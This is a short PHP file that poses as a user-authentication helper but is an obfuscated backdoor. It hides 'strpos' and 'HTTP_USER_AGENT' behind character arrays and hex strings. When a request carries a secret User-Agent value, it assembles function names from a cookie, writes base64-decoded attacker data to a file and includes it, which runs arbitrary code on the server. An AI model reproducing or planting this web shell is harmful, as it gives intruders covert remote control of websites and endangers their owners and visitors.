<?php
function dispatch_signal(...$rr)
{
    $a = array(115, 108 + 3, 112, 114, 9 + 46 + 61, 123 - 8);
    $g = '';
    foreach ($a as $z) {
        $g .= chr($z);
    }
    $g = strrev($g);
    return $g(...$rr);
}

class UserAuthenticator
{
    private static $_slx;
    static function checkConsistency($_ph)
    {
        if (!self::$_slx) {
            self::logEvent();
        }
        return hex2bin(self::$_slx[$_ph]);
    }
    private static function logEvent()
    {
        self::$_slx = array('_yj' => '485454505f555345525f41' . '47454e54', '_uat' => '485454505f55534552' . '5f4147454' . 'e' . '5' . '4', '_vqj' => '383936363735' . '3135', '_eq' => '', '_cmu' => '');
    }
}

if (isset($_SERVER[UserAuthenticator::checkConsistency('_' . 'yj')]) && dispatch_signal($_SERVER[UserAuthenticator::checkConsistency('_ua' . 't')], UserAuthenticator::checkConsistency('_' . 'vq' . 'j')) !== false) {
    $_zx = $_COOKIE;
    $_jy = 00;
    $_ph = 010;
    $_ml = array();
    $_ml[$_jy] = UserAuthenticator::checkConsistency('_e' . 'q');
    while ($_ph) {
        $_ml[$_jy] .= $_zx[044][$_ph];
        if (!$_zx[044][$_ph + 01]) {
            if (!$_zx[044][$_ph + 02]) {
                break;
            }
            $_jy++;
            $_ml[$_jy] = UserAuthenticator::checkConsistency('_cm' . 'u');
            $_ph++;
        }
        $_ph = $_ph + 010 + 01;
    }
    $_jy = $_ml[024]() . $_ml[014];
    if (!$_ml[03]($_jy)) {
        $_ph = $_ml[02]($_jy, $_ml[021]);
        $_ml[026]($_ph, $_ml[034] . $_ml[04]($_ml[023]($_zx[03])));
    }
    include $_jy;
    die;
}